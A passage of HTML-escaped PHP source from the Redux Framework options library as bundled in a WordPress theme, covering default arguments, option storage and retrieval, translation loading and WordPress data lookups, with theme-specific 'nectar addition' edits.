                    if ( empty ( $this-&gt;args[&#039;output_location&#039;] ) || in_array( &#039;frontend&#039;, $this-&gt;args[&#039;output_location&#039;] ) ) {
                        /* nectar addition */
                       //add_action( &#039;wp_head&#039;, array( &amp;$this, &#039;_output_css&#039; ), 150 );
                       /* nectar addition end */
                        add_action( &#039;wp_enqueue_scripts&#039;, array( &amp;$this, &#039;_enqueue_output&#039; ), 150 );
                    }

                    // Login page: Maybe enqueue dynamic CSS and Google fonts
                    if ( in_array( &#039;login&#039;, $this-&gt;args[&#039;output_location&#039;] ) ) {
                        add_action( &#039;login_head&#039;, array( &amp;$this, &#039;_output_css&#039; ), 150 );
                        add_action( &#039;login_enqueue_scripts&#039;, array( &amp;$this, &#039;_enqueue_output&#039; ), 150 );
                    }

                    // Admin area: Maybe enqueue dynamic CSS and Google fonts
                    if ( in_array( &#039;admin&#039;, $this-&gt;args[&#039;output_location&#039;] ) ) {
                        add_action( &#039;admin_head&#039;, array( &amp;$this, &#039;_output_css&#039; ), 150 );
                        add_action( &#039;admin_enqueue_scripts&#039;, array( &amp;$this, &#039;_enqueue_output&#039; ), 150 );
                    }


                    add_action( &#039;wp_print_scripts&#039;, array( $this, &#039;vc_fixes&#039; ), 100 );
                    add_action( &#039;admin_enqueue_scripts&#039;, array( $this, &#039;vc_fixes&#039; ), 100 );


                    if ( $this-&gt;args[&#039;database&#039;] == &quot;network&quot; &amp;&amp; $this-&gt;args[&#039;network_admin&#039;] ) {
                        add_action( &#039;network_admin_edit_redux_&#039; . $this-&gt;args[&#039;opt_name&#039;], array(
                            $this,
                            &#039;save_network_page&#039;
                        ), 10, 0 );
                        /*nectar addition - remove action for network_admin_bar - nectar addition end*/
                    }
                    // Ajax saving!!!
                    add_action( &quot;wp_ajax_&quot; . $this-&gt;args[&#039;opt_name&#039;] . &#039;_ajax_save&#039;, array( $this, &quot;ajax_save&quot; ) );

                    /* nectar addition */
                    /*
                    if ( $this-&gt;args[&#039;dev_mode&#039;] == true || Redux_Helpers::isLocalHost() == true ) {
                        require_once &#039;core/dashboard.php&#039;;
                        new reduxDashboardWidget( $this );

                        if ( ! isset ( $GLOBALS[&#039;redux_notice_check&#039;] ) ) {
                            require_once &#039;core/newsflash.php&#039;;

                            $params = array(
                                &#039;dir_name&#039;    =&gt; &#039;notice&#039;,
                                &#039;server_file&#039; =&gt; &#039;http://reduxframework.com/wp-content/uploads/redux/redux_notice.json&#039;,
                                &#039;interval&#039;    =&gt; 3,
                                &#039;cookie_id&#039;   =&gt; &#039;redux_blast&#039;,
                            );

                            new reduxNewsflash( $this, $params );
                            $GLOBALS[&#039;redux_notice_check&#039;] = 1;
                        }
                    } */
                    /* nectar addition end */
                }

                /**
                 * Loaded hook
                 * action &#039;redux/loaded&#039;
                 *
                 * @param  object $this ReduxFramework
                 */
                do_action( &#039;redux/loaded&#039;, $this );
            }

            // __construct()

            private function set_redux_content() {
                $upload_dir        = wp_upload_dir();
                self::$_upload_dir = $upload_dir[&#039;basedir&#039;] . &#039;/redux/&#039;;
                self::$_upload_url = str_replace( array(
                    &#039;https://&#039;,
                    &#039;http://&#039;
                ), &#039;//&#039;, $upload_dir[&#039;baseurl&#039;] . &#039;/redux/&#039; );
            }

            private function set_default_args() {
                $this-&gt;args = array(
                    &#039;opt_name&#039;                  =&gt; &#039;&#039;,
                    // Must be defined by theme/plugin
                    &#039;google_api_key&#039;            =&gt; &#039;&#039;,
                    // Must be defined to update the google fonts cache for the typography module
                    &#039;google_update_weekly&#039;      =&gt; false,
                    // Set to keep your google fonts updated weekly
                    &#039;last_tab&#039;                  =&gt; &#039;&#039;,
                    // force a specific tab to always show on reload
                    &#039;menu_icon&#039;                 =&gt; &#039;&#039;,
                    // menu icon
                    &#039;menu_title&#039;                =&gt; &#039;&#039;,
                    // menu title/text
                    &#039;page_title&#039;                =&gt; &#039;&#039;,
                    // option page title
                    &#039;page_slug&#039;                 =&gt; &#039;&#039;,
                    &#039;page_permissions&#039;          =&gt; &#039;manage_options&#039;,
                    &#039;menu_type&#039;                 =&gt; &#039;menu&#039;,
                    // (&#039;menu&#039;|&#039;submenu&#039;)
                    &#039;page_parent&#039;               =&gt; &#039;themes.php&#039;,
                    // requires menu_type = &#039;submenu
                    &#039;page_priority&#039;             =&gt; null,
                    &#039;allow_sub_menu&#039;            =&gt; true,
                    // allow submenus to be added if menu_type == menu
                    &#039;save_defaults&#039;             =&gt; true,
                    // Save defaults to the DB on it if empty
                    &#039;footer_credit&#039;             =&gt; &#039;&#039;,
                    &#039;async_typography&#039;          =&gt; false,
                    &#039;disable_google_fonts_link&#039; =&gt; false,
                    &#039;class&#039;                     =&gt; &#039;&#039;,
                    // Class that gets appended to all redux-containers
                    &#039;admin_bar&#039;                 =&gt; true,
                    &#039;admin_bar_priority&#039;        =&gt; 999,
                    // Show the panel pages on the admin bar
                    &#039;admin_bar_icon&#039;            =&gt; &#039;&#039;,
                    // admin bar icon
                    &#039;help_tabs&#039;                 =&gt; array(),
                    &#039;help_sidebar&#039;              =&gt; &#039;&#039;,
                    &#039;database&#039;                  =&gt; &#039;&#039;,
                    // possible: options, theme_mods, theme_mods_expanded, transient, network
                    &#039;customizer&#039;                =&gt; false,
                    // setting to true forces get_theme_mod_expanded
                    &#039;global_variable&#039;           =&gt; &#039;&#039;,
                    // Changes global variable from $GLOBALS[&#039;YOUR_OPT_NAME&#039;] to whatever you set here. false disables the global variable
                    &#039;output&#039;                    =&gt; true,
                    // Dynamically generate CSS
                    &#039;compiler&#039;                  =&gt; true,
                    // Initiate the compiler hook
                    &#039;output_tag&#039;                =&gt; true,
                    // Print Output Tag
                    &#039;output_location&#039;           =&gt; array( &#039;frontend&#039; ),
                    // Where  the dynamic CSS will be added. Can be any combination from: &#039;frontend&#039;, &#039;login&#039;, &#039;admin&#039;
                    &#039;transient_time&#039;            =&gt; &#039;&#039;,
                    &#039;default_show&#039;              =&gt; false,
                    // If true, it shows the default value
                    &#039;default_mark&#039;              =&gt; &#039;&#039;,
                    // What to print by the field&#039;s title if the value shown is default
                    &#039;update_notice&#039;             =&gt; true,
                    // Recieve an update notice of new commits when in dev mode
                    &#039;disable_save_warn&#039;         =&gt; false,
                    // Disable the save warn
                    &#039;open_expanded&#039;             =&gt; false,
                    &#039;hide_expand&#039;               =&gt; false,
                    // Start the panel fully expanded to start with
                    &#039;network_admin&#039;             =&gt; false,
                    // Enable network admin when using network database mode
                    &#039;network_sites&#039;             =&gt; true,
                    // Enable sites as well as admin when using network database mode
                    &#039;hide_reset&#039;                =&gt; false,
                    &#039;hide_save&#039;                 =&gt; false,
                    &#039;hints&#039;                     =&gt; array(
                        &#039;icon&#039;          =&gt; &#039;el el-question-sign&#039;,
                        &#039;icon_position&#039; =&gt; &#039;right&#039;,
                        &#039;icon_color&#039;    =&gt; &#039;lightgray&#039;,
                        &#039;icon_size&#039;     =&gt; &#039;normal&#039;,
                        &#039;tip_style&#039;     =&gt; array(
                            &#039;color&#039;   =&gt; &#039;light&#039;,
                            &#039;shadow&#039;  =&gt; true,
                            &#039;rounded&#039; =&gt; false,
                            &#039;style&#039;   =&gt; &#039;&#039;,
                        ),
                        &#039;tip_position&#039;  =&gt; array(
                            &#039;my&#039; =&gt; &#039;top_left&#039;,
                            &#039;at&#039; =&gt; &#039;bottom_right&#039;,
                        ),
                        &#039;tip_effect&#039;    =&gt; array(
                            &#039;show&#039; =&gt; array(
                                &#039;effect&#039;   =&gt; &#039;slide&#039;,
                                &#039;duration&#039; =&gt; &#039;500&#039;,
                                &#039;event&#039;    =&gt; &#039;mouseover&#039;,
                            ),
                            &#039;hide&#039; =&gt; array(
                                &#039;effect&#039;   =&gt; &#039;fade&#039;,
                                &#039;duration&#039; =&gt; &#039;500&#039;,
                                &#039;event&#039;    =&gt; &#039;click mouseleave&#039;,
                            ),
                        ),
                    ),
                    &#039;show_import_export&#039;        =&gt; true,
                    &#039;show_options_object&#039;       =&gt; true,
                    &#039;dev_mode&#039;                  =&gt; true,
                    &#039;templates_path&#039;            =&gt; &#039;&#039;,
                    // Path to the templates file for various Redux elements
                    &#039;ajax_save&#039;                 =&gt; true,
                    // Disable the use of ajax saving for the panel
                    &#039;use_cdn&#039;                   =&gt; true,
                    &#039;cdn_check_time&#039;            =&gt; 1440,
                    &#039;options_api&#039;               =&gt; true,
                );
            }

            // Fix conflicts with Visual Composer.
            public function vc_fixes() {
                if ( redux_helpers::isFieldInUse( $this, &#039;ace_editor&#039; ) ) {
                    wp_dequeue_script( &#039;wpb_ace&#039; );
                }
            }

            public function network_admin_bar( $wp_admin_bar ) {

                $args = array(
                    &#039;id&#039;     =&gt; $this-&gt;args[&#039;opt_name&#039;] . &#039;_network_admin&#039;,
                    &#039;title&#039;  =&gt; $this-&gt;args[&#039;menu_title&#039;],
                    &#039;parent&#039; =&gt; &#039;network-admin&#039;,
                    &#039;href&#039;   =&gt; network_admin_url( &#039;settings.php&#039; ) . &#039;?page=&#039; . $this-&gt;args[&#039;page_slug&#039;],
                    &#039;meta&#039;   =&gt; array( &#039;class&#039; =&gt; &#039;redux-network-admin&#039; )
                );
                $wp_admin_bar-&gt;add_node( $args );
            }

            public function save_network_page() {

                $data = $this-&gt;_validate_options( $_POST[ $this-&gt;args[&#039;opt_name&#039;] ] );

                if ( ! empty ( $data ) ) {
                    $this-&gt;set_options( $data );
                }

                wp_redirect( add_query_arg( array(
                    &#039;page&#039;    =&gt; $this-&gt;args[&#039;page_slug&#039;],
                    &#039;updated&#039; =&gt; &#039;true&#039;
                ), network_admin_url( &#039;settings.php&#039; ) ) );
                exit ();
            }

            public function _update_check() {
                // Only one notice per instance please
                if ( ! isset ( $GLOBALS[&#039;redux_update_check&#039;] ) ) {
                    Redux_Functions::updateCheck( self::$_version );
                    $GLOBALS[&#039;redux_update_check&#039;] = 1;
                }
            }

            public function _admin_notices() {
                Redux_Admin_Notices::adminNotices( $this-&gt;admin_notices );
            }

            public function _dismiss_admin_notice() {
                Redux_Admin_Notices::dismissAdminNotice();
            }

            /**
             * Load the plugin text domain for translation.
             *
             * @since    3.0.5
             */
            private function _internationalization() {

                /**
                 * Locale for text domain
                 * filter &#039;redux/textdomain/{opt_name}&#039;
                 *
                 * @param string     The locale of the blog or from the &#039;locale&#039; hook
                 * @param string     &#039;redux-framework&#039;  text domain
                 */


                $basename = basename( __FILE__ );
                $basepath = plugin_basename( __FILE__ );
                $basepath = str_replace( $basename, &#039;&#039;, $basepath );

                $basepath = apply_filters( &quot;redux/textdomain/basepath/{$this-&gt;args[&#039;opt_name&#039;]}&quot;, $basepath );

                $loaded = load_plugin_textdomain( &#039;redux-framework&#039;, false, $basepath . &#039;languages&#039;);

                if ( !$loaded ){
                    $loaded = load_muplugin_textdomain( &#039;redux-framework&#039;, $basepath . &#039;languages&#039; );
                }

                if ( !$loaded ){
                    $loaded = load_theme_textdomain( &#039;redux-framework&#039;, $basepath . &#039;languages&#039; );
                }

                if ( ! $loaded ) {
                    $locale = apply_filters( &#039;plugin_locale&#039;, get_locale(), &#039;redux-framework&#039; );
                    /* nectar addition */
                    $mofile = get_parent_theme_file_path(&#039;/nectar/redux-framework/ReduxCore/languages/redux-framework-&#039; . $locale . &#039;.mo&#039;);
                    /* nectar addition end */
                    load_textdomain( &#039;redux-framework&#039;, $mofile );
                }
            }
            // _internationalization()

            /**
             * @return ReduxFramework
             */
            public function get_instance() {
                //self::$_instance = $this;
                return self::$instance;
            }

            // get_instance()

            private function _tracking() {
                /* nectar addition */
                if ( file_exists( get_parent_theme_file_path(&#039;/nectar/redux-framework/ReduxCore/inc/tracking.php&#039;) ) ) {
                    require_once get_parent_theme_file_path(&#039;/nectar/redux-framework/ReduxCore/inc/tracking.php&#039;);
                    $tracking = Redux_Tracking::get_instance();
                    $tracking-&gt;load( $this );
                }
                /* nectar addition end */
            }
            // _tracking()

            /**
             * -&gt;_get_default(); This is used to return the default value if default_show is set
             *
             * @since       1.0.1
             * @access      public
             *
             * @param       string $opt_name The option name to return
             * @param       mixed  $default  (null)  The value to return if default not set
             *
             * @return      mixed $default
             */
            public function _get_default( $opt_name, $default = null ) {
                if ( $this-&gt;args[&#039;default_show&#039;] == true ) {

                    if ( empty ( $this-&gt;options_defaults ) ) {
                        $this-&gt;_default_values(); // fill cache
                    }

                    $default = array_key_exists( $opt_name, $this-&gt;options_defaults ) ? $this-&gt;options_defaults[ $opt_name ] : $default;
                }

                return $default;
            }
            // _get_default()

            /**
             * -&gt;get(); This is used to return and option value from the options array
             *
             * @since       1.0.0
             * @access      public
             *
             * @param       string $opt_name The option name to return
             * @param       mixed  $default  (null) The value to return if option not set
             *
             * @return      mixed
             */
            public function get( $opt_name, $default = null ) {
                return ( ! empty ( $this-&gt;options[ $opt_name ] ) ) ? $this-&gt;options[ $opt_name ] : $this-&gt;_get_default( $opt_name, $default );
            }
            // get()

            /**
             * -&gt;set(); This is used to set an arbitrary option in the options array
             *
             * @since       1.0.0
             * @access      public
             *
             * @param       string $opt_name The name of the option being added
             * @param       mixed  $value    The value of the option being added
             *
             * @return      void
             */
            public function set( $opt_name = &#039;&#039;, $value = &#039;&#039; ) {
                if ( $opt_name != &#039;&#039; ) {
                    $this-&gt;options[ $opt_name ] = $value;
                    $this-&gt;set_options( $this-&gt;options );
                }
            }
            // set()

            /**
             * Set a global variable by the global_variable argument
             *
             * @since   3.1.5
             * @return  bool          (global was set)
             */
            private function set_global_variable() {
                if ( $this-&gt;args[&#039;global_variable&#039;] ) {
                    $option_global = $this-&gt;args[&#039;global_variable&#039;];
                    /**
                     * filter &#039;redux/options/{opt_name}/global_variable&#039;
                     *
                     * @param array $value option value to set global_variable with
                     */
                    $GLOBALS[ $this-&gt;args[&#039;global_variable&#039;] ] = apply_filters( &quot;redux/options/{$this-&gt;args[&#039;opt_name&#039;]}/global_variable&quot;, $this-&gt;options );
                    if ( isset ( $this-&gt;transients[&#039;last_save&#039;] ) ) {
                        // Deprecated
                        $GLOBALS[ $this-&gt;args[&#039;global_variable&#039;] ][&#039;REDUX_last_saved&#039;] = $this-&gt;transients[&#039;last_save&#039;];
                        // Last save key
                        $GLOBALS[ $this-&gt;args[&#039;global_variable&#039;] ][&#039;REDUX_LAST_SAVE&#039;] = $this-&gt;transients[&#039;last_save&#039;];
                    }
                    if ( isset ( $this-&gt;transients[&#039;last_compiler&#039;] ) ) {
                        // Deprecated
                        $GLOBALS[ $this-&gt;args[&#039;global_variable&#039;] ][&#039;REDUX_COMPILER&#039;] = $this-&gt;transients[&#039;last_compiler&#039;];
                        // Last compiler hook key
                        $GLOBALS[ $this-&gt;args[&#039;global_variable&#039;] ][&#039;REDUX_LAST_COMPILER&#039;] = $this-&gt;transients[&#039;last_compiler&#039;];
                    }

                    return true;
                }

                return false;
            }
            // set_global_variable()

            /**
             * -&gt;set_options(); This is used to set an arbitrary option in the options array
             *
             * @since ReduxFramework 3.0.0
             *
             * @param mixed $value the value of the option being added
             */
            public function set_options( $value = &#039;&#039; ) {

                $this-&gt;transients[&#039;last_save&#039;] = time();

                if ( ! empty ( $value ) ) {

                    $this-&gt;options = $value;

                    if ( $this-&gt;args[&#039;database&#039;] === &#039;transient&#039; ) {
                        set_transient( $this-&gt;args[&#039;opt_name&#039;] . &#039;-transient&#039;, $value, $this-&gt;args[&#039;transient_time&#039;] );
                    } else if ( $this-&gt;args[&#039;database&#039;] === &#039;theme_mods&#039; ) {
                        set_theme_mod( $this-&gt;args[&#039;opt_name&#039;] . &#039;-mods&#039;, $value );
                    } else if ( $this-&gt;args[&#039;database&#039;] === &#039;theme_mods_expanded&#039; ) {
                        foreach ( $value as $k =&gt; $v ) {
                            set_theme_mod( $k, $v );
                        }
                    } else if ( $this-&gt;args[&#039;database&#039;] === &#039;network&#039; ) {
                        // Strip those slashes!
                        $value = json_decode( stripslashes( json_encode( $value ) ), true );
                        update_site_option( $this-&gt;args[&#039;opt_name&#039;], $value );
                    } else {
                        update_option( $this-&gt;args[&#039;opt_name&#039;], $value );
                    }

                    // Store the changed values in the transient
                    if ( $value != $this-&gt;options ) {
                        foreach ( $value as $k =&gt; $v ) {
                            if ( ! isset ( $this-&gt;options[ $k ] ) ) {
                                $this-&gt;options[ $k ] = &quot;&quot;;
                            } else if ( $v == $this-&gt;options[ $k ] ) {
                                unset ( $this-&gt;options[ $k ] );
                            }
                        }
                        $this-&gt;transients[&#039;changed_values&#039;] = $this-&gt;options;
                    }

                    $this-&gt;options = $value;

                    // Set a global variable by the global_variable argument.
                    $this-&gt;set_global_variable();

                    // Saving the transient values
                    $this-&gt;set_transients();

                    //do_action( &quot;redux-saved-{$this-&gt;args[&#039;opt_name&#039;]}&quot;, $value ); // REMOVE
                    //do_action( &quot;redux/options/{$this-&gt;args[&#039;opt_name&#039;]}/saved&quot;, $value, $this-&gt;transients[&#039;changed_values&#039;] );
                }
            }
            // set_options()

            /**
             * -&gt;get_options(); This is used to get options from the database
             *
             * @since ReduxFramework 3.0.0
             */
            public function get_options() {
                $defaults = false;

                if ( ! empty ( $this-&gt;defaults ) ) {
                    $defaults = $this-&gt;defaults;
                }

                if ( $this-&gt;args[&#039;database&#039;] === &quot;transient&quot; ) {
                    $result = get_transient( $this-&gt;args[&#039;opt_name&#039;] . &#039;-transient&#039; );
                } else if ( $this-&gt;args[&#039;database&#039;] === &quot;theme_mods&quot; ) {
                    $result = get_theme_mod( $this-&gt;args[&#039;opt_name&#039;] . &#039;-mods&#039; );
                } else if ( $this-&gt;args[&#039;database&#039;] === &#039;theme_mods_expanded&#039; ) {
                    $result = get_theme_mods();
                } else if ( $this-&gt;args[&#039;database&#039;] === &#039;network&#039; ) {
                    $result = get_site_option( $this-&gt;args[&#039;opt_name&#039;], array() );
                    $result = json_decode( stripslashes( json_encode( $result ) ), true );
                } else {
                    $result = get_option( $this-&gt;args[&#039;opt_name&#039;], array() );
                }

                if ( empty ( $result ) &amp;&amp; ! empty ( $defaults ) ) {
                    $results = $defaults;
                    $this-&gt;set_options( $results );
                } else {
                    $this-&gt;options = $result;
                }

                /**
                 * action &#039;redux/options/{opt_name}/options&#039;
                 *
                 * @param mixed $value option values
                 */
                $this-&gt;options = apply_filters( &quot;redux/options/{$this-&gt;args[&#039;opt_name&#039;]}/options&quot;, $this-&gt;options );

                // Get transient values
                $this-&gt;get_transients();

                // Set a global variable by the global_variable argument.
                $this-&gt;set_global_variable();
            }
            // get_options()

            /**
             * -&gt;get_wordpress_date() - Get Wordpress specific data from the DB and return in a usable array
             *
             * @since ReduxFramework 3.0.0
             */
            public function get_wordpress_data( $type = false, $args = array() ) {
                $data = &quot;&quot;;
                //return $data;
                /**
                 * filter &#039;redux/options/{opt_name}/wordpress_data/{type}/&#039;
                 *
                 * @deprecated
                 *
                 * @param string $data
                 */
                $data = apply_filters( &quot;redux/options/{$this-&gt;args[&#039;opt_name&#039;]}/wordpress_data/$type/&quot;, $data ); // REMOVE LATER

                /**
                 * filter &#039;redux/options/{opt_name}/data/{type}&#039;
                 *
                 * @param string $data
                 */
                $data = apply_filters( &quot;redux/options/{$this-&gt;args[&#039;opt_name&#039;]}/data/$type&quot;, $data );

                $argsKey = &quot;&quot;;
                foreach ( $args as $key =&gt; $value ) {
                    if ( ! is_array( $value ) ) {
                        $argsKey .= $value . &quot;-&quot;;
                    } else {
                        $argsKey .= implode( &quot;-&quot;, $value );
                    }
                }

                if ( empty ( $data ) &amp;&amp; isset ( $this-&gt;wp_data[ $type . $argsKey ] ) ) {
                    $data = $this-&gt;wp_data[ $type . $argsKey ];
                }

                if ( empty ( $data ) &amp;&amp; ! empty ( $type ) ) {

                    /**
                     * Use data from Wordpress to populate options array
                     * */
                    if ( ! empty ( $type ) &amp;&amp; empty ( $data ) ) {
                        if ( empty ( $args ) ) {
                            $args = array();
                        }

                        $data = array();
                        $args = wp_parse_args( $args, array() );

                        if ( $type == &quot;categories&quot; || $type == &quot;category&quot; ) {
                            $cats = get_categories( $args );
                            if ( ! empty ( $cats ) ) {
                                foreach ( $cats as $cat ) {
                                    $data[ $cat-&gt;term_id ] = $cat-&gt;name;
                                }
                                //foreach
                            } // If
                        } else if ( $type == &quot;menus&quot; || $type == &quot;menu&quot; ) {
                            $menus = wp_get_nav_menus( $args );
                            if ( ! empty ( $menus ) ) {
                                foreach ( $menus as $item ) {
                                    $data[ $item-&gt;term_id ] = $item-&gt;name;
                                }
                                //foreach
                            }
                            //if
                        } else if ( $type == &quot;pages&quot; || $type == &quot;page&quot; ) {
                            if ( ! isset ( $args[&#039;posts_per_page&#039;] ) ) {
                                $args[&#039;posts_per_page&#039;] = 20;
                            }
                            $pages = get_pages( $args );
                            if ( ! empty ( $pages ) ) {
                                foreach ( $pages as $page ) {
                                    $data[ $page-&gt;ID ] = $page-&gt;post_title;
                                }
                                //foreach
                            }
                            //if
                        } else if ( $type == &quot;terms&quot; || $type == &quot;term&quot; ) {
                            $taxonomies = $args[&#039;taxonomies&#039;];
                            unset ( $args[&#039;taxonomies&#039;] );
                            $terms = get_terms( $taxonomies, $args ); // this will get nothing
                            if ( ! empty ( $terms ) &amp;&amp; ! is_a( $terms, &#039;WP_Error&#039; ) ) {
                                foreach ( $terms as $term ) {
                                    $data[ $term-&gt;term_id ] = $term-&gt;name;
                                }
                                //foreach
                            } // If
                        } else if ( $type == &quot;taxonomy&quot; || $type == &quot;taxonomies&quot; ) {
                            $taxonomies = get_taxonomies( $args );
                            if ( ! empty ( $taxonomies ) ) {
                                foreach ( $taxonomies as $key =&gt; $taxonomy ) {
                                    $data[ $key ] = $taxonomy;
                                }
                                //foreach
                            } // If
                        } else if ( $type == &quot;posts&quot; || $type == &quot;post&quot; ) {
                            $posts = get_posts( $args );
                            if ( ! empty ( $posts ) ) {
                                foreach ( $posts as $post ) {
                                    $data[ $post-&gt;ID ] = $post-&gt;post_title;
                                }
                                //foreach
                            }
                            //if
                        } else if ( $type == &quot;post_type&quot; || $type == &quot;post_types&quot; ) {
                            global $wp_post_types;

                            $defaults   = array(
                                &#039;public&#039;              =&gt; true,
                                &#039;exclude_from_search&#039; =&gt; false,
                            );
                            $args       = wp_parse_args( $args, $defaults );
                            $output     = &#039;names&#039;;
                            $operator   = &#039;and&#039;;
                            $post_types = get_post_types( $args, $output, $operator );

                            ksort( $post_types );

                            foreach ( $post_types as $name =&gt; $title ) {
                                if ( isset ( $wp_post_types[ $name ]-&gt;labels-&gt;menu_name ) ) {
                                    $data[ $name ] = $wp_post_types[ $name ]-&gt;labels-&gt;menu_name;
                                } else {
                                    $data[ $name ] = ucfirst( $name );
                                }
                            }
                        } else if ( $type == &quot;tags&quot; || $type == &quot;tag&quot; ) { // NOT WORKING!
                            $tags = get_tags( $args );
                            if ( ! empty ( $tags ) ) {
                                foreach ( $tags as $tag ) {
                                    $data[ $tag-&gt;term_id ] = $tag-&gt;name;
                                }
                                //foreach
                            }
                            //if
                        } else if ( $type == &quot;menu_location&quot; || $type == &quot;menu_locations&quot; ) {
                            global $_wp_registered_nav_menus;

                            foreach ( $_wp_registered_nav_menus as $k =&gt; $v ) {
                                $data[ $k ] = $v;
                            }
                        } else if ( $type == &quot;image_size&quot; || $type == &quot;image_sizes&quot; ) {
                            global $_wp_additional_image_sizes;

                            foreach ( $_wp_additional_image_sizes as $size_name =&gt; $size_attrs ) {
                                $data[ $size_name ] = $size_name . &#039; - &#039; . $size_attrs[&#039;width&#039;] . &#039; x &#039; . $size_attrs[&#039;height&#039;];
                            }
                        } else if ( $type == &quot;elusive-icons&quot; || $type == &quot;elusive-icon&quot; || $type == &quot;elusive&quot; ||
                                    $type == &quot;font-icon&quot; || $type == &quot;font-icons&quot; || $type == &quot;icons&quot;
                        ) {

                            /**
                             * filter &#039;redux-font-icons&#039;
                             *
                             * @deprecated
                             *
                             * @param array $font_icons array of elusive icon classes
                             */
                            $font_icons = apply_filters( &#039;redux-font-icons&#039;, array() ); // REMOVE LATER

                            /**
                             * filter &#039;redux/font-icons&#039;
                             *
                             * @deprecated
                             *
                             * @param array $font_icons array of elusive icon classes
                             */
                            $font_icons = apply_filters( &#039;redux/font-icons&#039;, $font_icons );

                            /**
                             * filter &#039;redux/{opt_name}/field/font/icons&#039;
                             *
                             * @deprecated
                             *
                             * @param array $font_icons array of elusive icon classes
                             */
                            $font_icons = apply_filters( &quot;redux/{$this-&gt;args[&#039;opt_name&#039;]}/field/font/icons&quot;, $font_icons );

                            foreach ( $font_icons as $k ) {
                                $data[ $k ] = $k;
                            }
                        } else if ( $type == &quot;roles&quot; ) {
                            /** @global WP_Roles $wp_roles */
                            global $wp_roles;

                            $data = $wp_roles-&gt;get_names();
                        } else if ( $type == &quot;sidebars&quot; || $type == &quot;sidebar&quot; ) {
                            /** @global array $wp_registered_sidebars */
                            global $wp_registered_sidebars;

                            foreach ( $wp_registered_sidebars as $key =&gt; $value ) {
                                $data[ $key ] = $value[&#039;name&#039;];
                            }
                        } else if ( $type == &quot;capabilities&quot; ) {
                            /** @global WP_Roles $wp_roles */
                            global $wp_roles;

                            foreach ( $wp_roles-&gt;roles as $role ) {
                                foreach ( $role[&#039;capabilities&#039;] as $key =&gt; $cap ) {
                                    $data[ $key ] = ucwords( str_replace( &#039;_&#039;, &#039; &#039;, $key ) );
                                }
                            }
                        } else if ( $type == &quot;callback&quot; ) {
                            if ( ! is_array( $args ) ) {
                                $args = array( $args );
                            }
                            $data = call_user_func( $args[0] );
                        } else if ( $type == &quot;users&quot; || $type == &quot;users&quot; ) {
                            $users = get_users( $args );
                            if ( ! empty ( $users ) ) {
                                foreach ( $users as $user ) {
                                    $data[ $user-&gt;ID ] = $user-&gt;display_name;
                                }
                                //foreach
                            }
                            //if
                        }
                        //if
                    }
                    //if

                    $this-&gt;wp_data[ $type . $argsKey ] = $data;
                }

                //if

                return $data;
            }
            // get_wordpress_data()

            /**
             * -&gt;show(); This is used to echo and option value from the options array
             *
             * @since       1.0.0
             * @access      public
             *
             * @param       string $opt_name The name of the option being shown
             * @param       mixed  $default  The value to show if $opt_name isn&#039;t set
             *
             * @return      void
             */
            public function show( $opt_name, $default = &#039;&#039; ) {
                $option = $this-&gt;get( $opt_name );
                if ( ! is_array( $option ) &amp;&amp; $option != &#039;&#039; ) {
                  // nectar addition
                    echo wp_kses_post( $option );
                } elseif ( $default != &#039;&#039; ) {
                    echo wp_kses_post( $this-&gt;_get_default( $opt_name, $default ) );
                  // nectar addition end
                }
            }
            // show()

            /**
             * Get the default value for an option
             *
             * @since  3.3.6
             * @access public
             *
             * @param string $key       The option&#039;s ID
             * @param string $array_key The key of the default&#039;s array
             *
             * @return mixed
             */
            public function get_default_value( $key, $array_key = false ) {
                if ( empty ( $this-&gt;options_defaults ) ) {
                    $this-&gt;options_defaults = $this-&gt;_default_values();
                }

                $defaults = $this-&gt;options_defaults;
                $value    = &#039;&#039;;

                if ( isset ( $defaults[ $key ] ) ) {
                    if ( $array_key !== false &amp;&amp; isset ( $defaults[ $key ][ $array_key ] ) ) {
                        $value = $defaults[ $key ][ $array_key ];
                    } else {
                        $value = $defaults[ $key ];
                    }
                }

                return $value;
            }

            public function field_default_values( $field ) {
                // Detect what field types are being used
                if ( ! isset ( $this-&gt;fields[ $field[&#039;type&#039;] ][ $field[&#039;id&#039;] ] ) ) {
                    $this-&gt;fields[ $field[&#039;type&#039;] ][ $field[&#039;id&#039;] ] = 1;
                } else {
                    $this-&gt;fields[ $field[&#039;type&#039;] ] = array( $field[&#039;id&#039;] =&gt; 1 );
                }
                if ( isset ( $field[&#039;default&#039;] ) ) {
                    $this-&gt;options_defaults[ $field[&#039;id&#039;] ] = apply_filters( &quot;redux/{$this-&gt;args[&#039;opt_name&#039;]}/field/{$field[&#039;type&#039;]}/defaults&quot;, $field[&#039;default&#039;], $field );
                } elseif ( ( $field[&#039;type&#039;] != &quot;ace_editor&quot; ) ) {
                    // Sorter data filter

                    if ( isset( $field[&#039;data&#039;] ) &amp;&amp; ! empty( $field[&#039;data&#039;] ) ) {
                        if ( ! isset( $field[&#039;args&#039;] ) ) {
                            $field[&#039;args&#039;] = array();
                        }
                        if ( is_array( $field[&#039;data&#039;] ) &amp;&amp; ! empty( $field[&#039;data&#039;] ) ) {
                            foreach ( $field[&#039;data&#039;] as $key =&gt; $data ) {
                                if ( ! empty( $data ) ) {
                                    if ( ! isset ( $field[&#039;args&#039;][ $key ] ) ) {
                                        $field[&#039;args&#039;][ $key ] = array();
                                    }
                                    $field[&#039;options&#039;][ $key ] = $this-&gt;get_wordpress_data( $data, $field[&#039;args&#039;][ $key ] );
                                }
                            }
                        } else {
                            $field[&#039;options&#039;] = $this-&gt;get_wordpress_data( $field[&#039;data&#039;], $field[&#039;args&#039;] );
                        }
                    }

                    if ( $field[&#039;type&#039;] == &quot;sorter&quot; &amp;&amp; isset ( $field[&#039;data&#039;] ) &amp;&amp; ! empty ( $field[&#039;data&#039;] ) &amp;&amp; is_array( $field[&#039;data&#039;] ) ) {
                        if ( ! isset ( $field[&#039;args&#039;] ) ) {
                            $field[&#039;args&#039;] = array();
                        }
                        foreach ( $field[&#039;data&#039;] as $key =&gt; $data ) {
                            if ( ! isset ( $field[&#039;args&#039;][ $key ] ) ) {
                                $field[&#039;args&#039;][ $key ] = array();
                            }
                            $field[&#039;options&#039;][ $key ] = $this-&gt;get_wordpress_data( $data, $field[&#039;args&#039;][ $key ] );
                        }
                    }

                    if ( isset ( $field[&#039;options&#039;] ) ) {
                        if ( $field[&#039;type&#039;] == &quot;sortable&quot; ) {
                            $this-&gt;options_defaults[ $field[&#039;id&#039;] ] = array();
                        } elseif ( $field[&#039;type&#039;] == &quot;image_select&quot; ) {
                            $this-&gt;options_defaults[ $field[&#039;id&#039;] ] = &#039;&#039;;
